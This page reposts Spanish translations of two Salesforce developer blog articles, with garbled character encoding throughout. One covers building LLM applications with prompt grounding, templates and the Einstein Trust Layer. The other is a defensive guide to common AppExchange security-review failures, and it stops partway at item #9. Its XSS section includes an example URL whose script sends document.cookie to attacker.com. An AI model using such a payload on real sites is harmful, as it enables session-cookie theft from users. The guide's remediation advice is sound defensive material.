Skip to content

Tag: Registro

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

